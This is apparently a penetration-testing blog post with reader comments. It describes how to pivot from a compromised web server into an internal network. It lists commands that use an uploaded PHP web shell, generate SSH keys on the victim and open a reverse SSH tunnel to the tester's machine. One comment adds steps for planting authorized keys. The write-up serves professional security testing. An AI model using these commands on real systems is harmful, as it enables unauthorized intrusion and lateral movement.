During a recent penetration test we have experienced the situation where we’ve gained remote code execution with limited privileges to a web server and had to pivot to other hosts from the internal network.
For this, we had to find a reliable method to forward our traffic from our local machine to the internal host via the compromised server. This blog post describes how we solved this situation – for future reference.
Our scenario is best described in the diagram below:
Achieving our goal was not that straight forward since the compromised server was behind a firewall and only ports 80 and 443 were permitted inbound. Furthermore, we were executing commands as www-data user and our non-interactive shell (PHP passthru) was pretty limited.
The solution that we chose was to create a reverse SSH tunnel from the web server to our local machine and do arbitrary port forwarding via the encrypted channel. The expected setup is described in the following diagram:
However, doing SSH from the PHP shell is not working directly because this shell is non-interactive and the SSH client expects a password interactively.
In order to overcome this situation, we had to use SSH public key authentication, which does not require a password. However, our web server user did not have a public-private SSH key pair, so we had to create one using ssh-keygen command. This also had to be run non-interactively by specifying the output path of the key files and the password in the parameters.
The next step was to create a low-privileged user on our machine and copy the web server’s SSH public key (/tmp/id_rsa.pub) to our authorized_keys file. This way, www-data would be able to SSH to our machine without a password.
Right now, we should be able to create a reverse SSH connection from the compromised web server to our machine and forward the local port 8080 to the internal server 192.168.20:8080 using the following command:
wget -O - -q "http://webserver.com/uploads/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -R 127.0.0.1:8080:192.168.20.13:8080 -N -f firstname.lastname@example.org"
This command will not output anything but we can see that our local SSH server has opened the TCP port 8080 running as tempuser. When connecting to this port, the traffic will be forwarded via the encrypted SSH channel to the port 8080 of the internal server, exactly as we wanted.
For future reference, here is the list of commands utilized in this scenario (all commands were given on our own machine):
wget -O - -q "http://webserver.com/uploads/sh.php?cmd=whoami" wget -O - -q "http://webserver.com/uploads/sh.php?cmd=ssh-keygen -f /tmp/id_rsa -N \"\" " wget -O - -q "http://webserver.com/uploads/sh.php?cmd=cat /tmp/id_rsa.pub " sudo adduser --system tempuser sudo mkdir /home/tempuser/.ssh echo "ssh-rsa AAAAB3NzaC1yc2EAAA....sQCuKX email@example.com" | sudo tee /home/tempuser/.ssh/authorized_keys > /dev/null wget -O - -q "http://webserver.com/uploads/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -R 127.0.0.1:8080:192.168.20.13:8080 -N -f firstname.lastname@example.org"
Nice trick! but wasn’t the webserver able to retrieve any file from the internet? That is, why create the ssh keys there instead of just getting them from your server?
Yes, getting the ssh keys from a remote server would have been a good alternative. However, you need to make sure they were generated in the right format.
Thank you for pointing that out, Teo!
This is nice but incomplete 🙂 I’ve encountered the same situation and here is a partial solution 🙂
ssh-keygen -f mykey -t rsa -b 768
mkdir -p /home/$(id -u -n)/.ssh
touch /home/$(id -u -n)/.ssh/authorized_keys
echo “ssh-rsa mykey;)” >> /home/$(id -u -n)/.ssh/authorized_keys
chmod 700 /home/$(id -u -n)/.ssh
chmod 600 /home/$(id -u -n)/.ssh/authorized_keys
ssh-add /home/$(id -u -n)/.ssh/authorized_keys
Thank you for your comment, unbaiat!
Your solution looks very similar to the one proposed in the article. Could you be a bit more specific regarding the differences?
Well, sometimes you get a limited account not one that has sudo powers 😉 setting the correct permissions on .ssh, generating a smaller key and tampering with the ssh agent will get you access. If you have sudo why not install any php/perl/python backdoor/shell on the server?
In my scenario you gain access to www-data user which does not have sudo privileges.
The sudo commands from the blog post are executed on the attacker’s machine.
The commands executed on the remote server start with wget.
One of the concerns that I had with the reverse ssh option is that you’re still opening yourself up to abuse should the key/password for your account be compromised.
So far, the best solution I’ve found is to add 2FA to SSH using https://www.duosecurity.com/ (no, I don’t work for them ;)) because then at least you have a push notification to your phone (or SMS if you prefer) when those shells call back in. You then at least have some kind of control over when that ssh session can be established.
This gave me more confidence that I wasn’t opening a door on my attack box that could be abused by a blue team member.
Just thought I’d share. Cheers!
Hi OJ, interesting approach with SSH 2 factor-auth.
Regarding the reverse ssh from a blue team member, I also thought about this aspect. That is why I created the test user using the –system option such that nobody can ssh to your machine and execute commands. I know there are still some options available but it lowers the risk.
Thanks for the comment.
This article, altough interesting one, assumes that servers/DMZ are able to freely *initiate* connections to Internet (i.e. using SSH to attacker’s host on Internet). That is major design flaw and is usually blocked by egress firewall in any better IT environment.
The real challenge would be tunneling that SSH (or whatever) through the HTTP(S) connection initiated by attacker from Internet, or using some side channel which may not be blocked by egress firewall (e.g. ICMP/DNS req. tunneling).
Could you please comment on this?